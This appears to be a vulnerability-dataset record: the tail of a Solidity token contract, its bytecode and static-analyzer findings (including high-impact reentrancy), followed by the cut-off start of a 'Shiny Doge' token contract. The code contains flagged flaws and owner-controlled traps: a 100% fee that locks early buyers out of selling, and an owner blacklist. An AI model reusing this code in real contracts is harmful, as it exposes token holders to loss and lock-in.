IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); _maxTxAmount = _tTotal; // start off transaction limit at 100% of total supply _maxWalletAmount = _tTotal.div(1); // 100% _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() override external pure returns (string memory) { return _name; } function symbol() override external pure returns (string memory) { return _symbol; } function decimals() override external pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() private { if (_marketingFee == 0 && _liquidityFee == 0) return; _previousMarketingFee = _marketingFee; _previousLiquidityFee = _liquidityFee; _marketingFee = 0; _liquidityFee = 0; } function setSniporFee() private { _previousMarketingFee = _marketingFee; _previousLiquidityFee = _liquidityFee; _marketingFee = 1000; _liquidityFee = 0; } function restoreAllFee() private { _marketingFee = _previousMarketingFee; _liquidityFee = _previousLiquidityFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takeFee = true; if (from != owner() && to != owner() && from != address(this) && to != address(this)) { require(tradingOpen); require(amount <= _maxTxAmount); if (from == uniswapV2Pair && to != address(uniswapV2Router)) {//buys if (block.number <= _firstBlock.add(_sniporBlocks)) { snipors[to] = true; } require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount"); if (snipors[to]) { setSniporFee(); takeFee = true; } } if (!inSwap && from != uniswapV2Pair) { //sells, transfers require(!snipors[from] && !snipors[to]); uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > 1000000000 * 1e9) { swapAndLiquify(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee(); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLPamount = _liquidityFee.mul(contractTokenBalance).div(_marketingFee.add(_liquidityFee)); // split the contract balance into halves uint256 half = autoLPamount.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(otherHalf); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf); addLiquidity(half, newBalance); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading(uint256 sniporBlocks) private { _firstBlock = block.number; _sniporBlocks = sniporBlocks; tradingOpen = true; } function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); if (contractBalance > 0) { swapTokensForEth(contractBalance); } } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(contractETHBalance); } } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) { removeAllFee(); } _transferStandard(sender, recipient, amount); restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 amount) private { FeeBreakdown memory fees; fees.tMarketing = amount.mul(_marketingFee).div(1000); fees.tLiquidity = amount.mul(_liquidityFee).div(1000); fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(fees.tAmount); _balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity)); emit Transfer(sender, recipient, fees.tAmount); } receive() external payable {} function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount > _tTotal.div(10000), "Amount must be greater than 0.01% of supply"); require(maxTxAmount <= _tTotal, "Amount must be less than or equal to totalSupply"); _maxTxAmount = maxTxAmount; emit MaxTxAmountUpdated(_maxTxAmount); } function setMaxWalletAmount(uint256 maxWalletAmount) external onlyOwner() { require(maxWalletAmount > _tTotal.div(200), "Amount must be greater than 0.5% of supply"); require(maxWalletAmount <= _tTotal, "Amount must be less than or equal to totalSupply"); _maxWalletAmount = maxWalletAmount; } function setTaxes(uint256 marketingFee, uint256 liquidityFee) external onlyOwner() { uint256 totalFee = marketingFee.add(liquidityFee); require(totalFee.div(10) < 50, "Sum of fees must be less than 50"); _marketingFee = marketingFee; _liquidityFee = liquidityFee; _previousMarketingFee = _marketingFee; _previousLiquidityFee = _liquidityFee; uint256 totalETHfees = _marketingFee; _marketingPercent = (_marketingFee.mul(1000)).div(totalETHfees); emit FeesUpdated(_marketingFee, _liquidityFee); } function endTrdg(uint256 sniporBlocks) external onlyOwner() { require(trdg == true, "done"); trdg = false; openTrading(sniporBlocks); emit EndedTrdg(trdg); } }
0x60806040526004361061012e5760003560e01c80636bc87c3a116100ab578063a9059cbb1161006f578063a9059cbb14610366578063c647b20e14610386578063dd62ed3e146103a6578063ec28438a146103ec578063f2fde38b1461040c578063f42938901461042c57600080fd5b80636bc87c3a146102bb5780636c0a24eb146102d157806370a08231146102e75780638da5cb5b1461031d57806395d89b411461033b57600080fd5b806327a14fc2116100f257806327a14fc214610210578063313ce5671461023257806349bd5a5e1461024e57806351bc3c85146102865780635d12d79d1461029b57600080fd5b806306fdde031461013a578063095ea7b31461018457806318160ddd146101b457806322976e0d146101da57806323b872dd146101f057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600f81526e21b7b83c9021b0b834ba30b6102b1960891b60208201525b60405161017b91906115d6565b60405180910390f35b34801561019057600080fd5b506101a461019f366004611640565b610441565b604051901515815260200161017b565b3480156101c057600080fd5b50683635c9adc5dea000005b60405190815260200161017b565b3480156101e657600080fd5b506101cc600a5481565b3480156101fc57600080fd5b506101a461020b36600461166c565b610458565b34801561021c57600080fd5b5061023061022b3660046116ad565b6104c1565b005b34801561023e57600080fd5b506040516009815260200161017b565b34801561025a57600080fd5b5060105461026e906001600160a01b031681565b6040516001600160a01b03909116815260200161017b565b34801561029257600080fd5b50610230610597565b3480156102a757600080fd5b506102306102b63660046116ad565b6105e3565b3480156102c757600080fd5b506101cc60085481565b3480156102dd57600080fd5b506101cc60075481565b3480156102f357600080fd5b506101cc6103023660046116c6565b6001600160a01b031660009081526002602052604090205490565b34801561032957600080fd5b506000546001600160a01b031661026e565b34801561034757600080fd5b50604080518082019091526002815261434360f01b602082015261016e565b34801561037257600080fd5b506101a4610381366004611640565b6106b0565b34801561039257600080fd5b506102306103a13660046116e3565b6106bd565b3480156103b257600080fd5b506101cc6103c1366004611705565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103f857600080fd5b506102306104073660046116ad565b6107c8565b34801561041857600080fd5b506102306104273660046116c6565b6108c7565b34801561043857600080fd5b5061023061095f565b600061044e3384846109e2565b5060015b92915050565b6000610465848484610b06565b6104b784336104b28560405180606001604052806028815260200161191c602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f30565b6109e2565b5060019392505050565b6000546001600160a01b031633146104f45760405162461bcd60e51b81526004016104eb9061173e565b60405180910390fd5b610508683635c9adc5dea0000060c8610999565b81116105695760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b60648201526084016104eb565b683635c9adc5dea000008111156105925760405162461bcd60e51b81526004016104eb90611773565b600755565b6000546001600160a01b031633146105c15760405162461bcd60e51b81526004016104eb9061173e565b3060009081526002602052604090205480156105e0576105e081610f6a565b50565b6000546001600160a01b0316331461060d5760405162461bcd60e51b81526004016104eb9061173e565b60125462010000900460ff1615156001146106535760405162461bcd60e51b81526004016104eb90602080825260049082015263646f6e6560e01b604082015260600190565b6012805443600555600683905562ff00ff191660011790556012546040516201000090910460ff16151581527fbbd2154e443da58493f520fb1a0b04614579664458bbef399ac6a4021c401c17906020015b60405180910390a150565b600061044e338484610b06565b6000546001600160a01b031633146106e75760405162461bcd60e51b81526004016104eb9061173e565b60006106f383836110de565b9050603261070282600a610999565b1061074f5760405162461bcd60e51b815260206004820181905260248201527f53756d206f662066656573206d757374206265206c657373207468616e20353060448201526064016104eb565b600a8390556008829055600b83905560098290558261077a81610774816103e861113d565b90610999565b600c55600a546008546040517f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1926107ba92908252602082015260400190565b60405180910390a150505050565b6000546001600160a01b031633146107f25760405162461bcd60e51b81526004016104eb9061173e565b610807683635c9adc5dea00000612710610999565b81116108695760405162461bcd60e51b815260206004820152602b60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e303160448201526a25206f6620737570706c7960a81b60648201526084016104eb565b683635c9adc5dea000008111156108925760405162461bcd60e51b81526004016104eb90611773565b60118190556040518181527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf906020016106a5565b6000546001600160a01b031633146108f15760405162461bcd60e51b81526004016104eb9061173e565b6001600160a01b0381166109565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104eb565b6105e0816111bc565b6000546001600160a01b031633146109895760405162461bcd60e51b81526004016104eb9061173e565b4780156105e0576105e08161120c565b60006109db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061124a565b9392505050565b6001600160a01b038316610a445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104eb565b6001600160a01b038216610aa55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104eb565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104eb565b6001600160a01b038216610bcc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104eb565b60008111610c2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104eb565b6001610c426000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610c7157506000546001600160a01b03848116911614155b8015610c8657506001600160a01b0384163014155b8015610c9b57506001600160a01b0383163014155b15610ec55760125460ff16610caf57600080fd5b601154821115610cbe57600080fd5b6010546001600160a01b038581169116148015610ce95750600f546001600160a01b03848116911614155b15610e1357600654600554610cfd916110de565b4311610d27576001600160a01b0383166000908152600d60205260409020805460ff191660011790555b600754610d5383610d4d866001600160a01b031660009081526002602052604090205490565b906110de565b1115610dd15760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a4016104eb565b6001600160a01b0383166000908152600d602052604090205460ff1615610e1357610e0f600a8054600b55600880546009556103e890915560009055565b5060015b601254610100900460ff16158015610e3957506010546001600160a01b03858116911614155b15610ec5576001600160a01b0384166000908152600d602052604090205460ff16158015610e8057506001600160a01b0383166000908152600d602052604090205460ff16155b610e8957600080fd5b30600090815260026020526040902054670de0b6b3a7640000811115610eb257610eb281611278565b478015610ec257610ec24761120c565b50505b6001600160a01b03841660009081526004602052604090205460ff1680610f0457506001600160a01b03831660009081526004602052604090205460ff165b15610f0d575060005b610f19848484846112f9565b610f2a600b54600a55600954600855565b50505050565b60008184841115610f545760405162461bcd60e51b81526004016104eb91906115d6565b506000610f6184866117d9565b95945050505050565b6012805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fae57610fae6117f0565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190611806565b8160018151811061103e5761103e6117f0565b6001600160a01b039283166020918202929092010152600f5461106491309116846109e2565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061109d908590600090869030904290600401611823565b600060405180830381600087803b1580156110b757600080fd5b505af11580156110cb573d6000803e3d6000fd5b50506012805461ff001916905550505050565b6000806110eb8385611894565b9050838110156109db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104eb565b60008261114c57506000610452565b600061115883856118ac565b90508261116585836118cb565b146109db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104eb565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611246573d6000803e3d6000fd5b5050565b6000818361126b5760405162461bcd60e51b81526004016104eb91906115d6565b506000610f6184866118cb565b6012805461ff001916610100179055600854600a546000916112aa9161129d916110de565b600854610774908561113d565b905060006112b9826002610999565b905060006112c78483611311565b9050476112d382610f6a565b60006112ed83610774866112e74787611311565b9061113d565b90506110cb8482611353565b8061130657611306611428565b610f19848484611456565b60006109db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f30565b600f5461136b9030906001600160a01b0316846109e2565b600f546001600160a01b031663f305d7198230856000806113946000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156113fc573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061142191906118ed565b5050505050565b600a541580156114385750600854155b1561143f57565b600a8054600b556008805460095560009182905555565b61147a60405180606001604052806000815260200160008152602001600081525090565b6114956103e8610774600a548561113d90919063ffffffff16565b60208201526008546114b0906103e89061077490859061113d565b80825260208201516114ce91906114c8908590611311565b90611311565b6040808301919091526001600160a01b0385166000908152600260205220546114f79083611311565b6001600160a01b0380861660009081526002602052604080822093909355838301519186168152919091205461152c916110de565b6001600160a01b0384166000908152600260209081526040909120919091558151908201516115759161155f91906110de565b30600090815260026020526040902054906110de565b30600090815260026020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600060208083528351808285015260005b81811015611603578581018301518582016040015282016115e7565b81811115611615576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105e057600080fd5b6000806040838503121561165357600080fd5b823561165e8161162b565b946020939093013593505050565b60008060006060848603121561168157600080fd5b833561168c8161162b565b9250602084013561169c8161162b565b929592945050506040919091013590565b6000602082840312156116bf57600080fd5b5035919050565b6000602082840312156116d857600080fd5b81356109db8161162b565b600080604083850312156116f657600080fd5b50508035926020909101359150565b6000806040838503121561171857600080fd5b82356117238161162b565b915060208301356117338161162b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526030908201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160408201526f6c20746f20746f74616c537570706c7960801b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b6000828210156117eb576117eb6117c3565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561181857600080fd5b81516109db8161162b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118735784516001600160a01b03168352938301939183019160010161184e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a7576118a76117c3565b500190565b60008160001904831182151516156118c6576118c66117c3565b500290565b6000826118e857634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561190257600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220648e3471ebe4c2820c8483b40fe5d57fbe1beaa5b125564d41ab19d251ce616264736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
224
0xb761f9a0af2fa63fe10f59bc7e4c89549e8377fb
/** *Submitted for verification at Etherscan.io on 2021-07-16 */ /* Our social medias: https://t.me/ShinyDogeOfficial https://t.me/ShinyDogeOfficial https://twitter.com/ShinyDogetoken Shiny Doge is on a moon mission, looking for 100x plays. Shiny Doge is the rarest doge in the crypto space. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShinyDoge is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shiny Doge"; string private constant _symbol = 'SD️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 13; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, 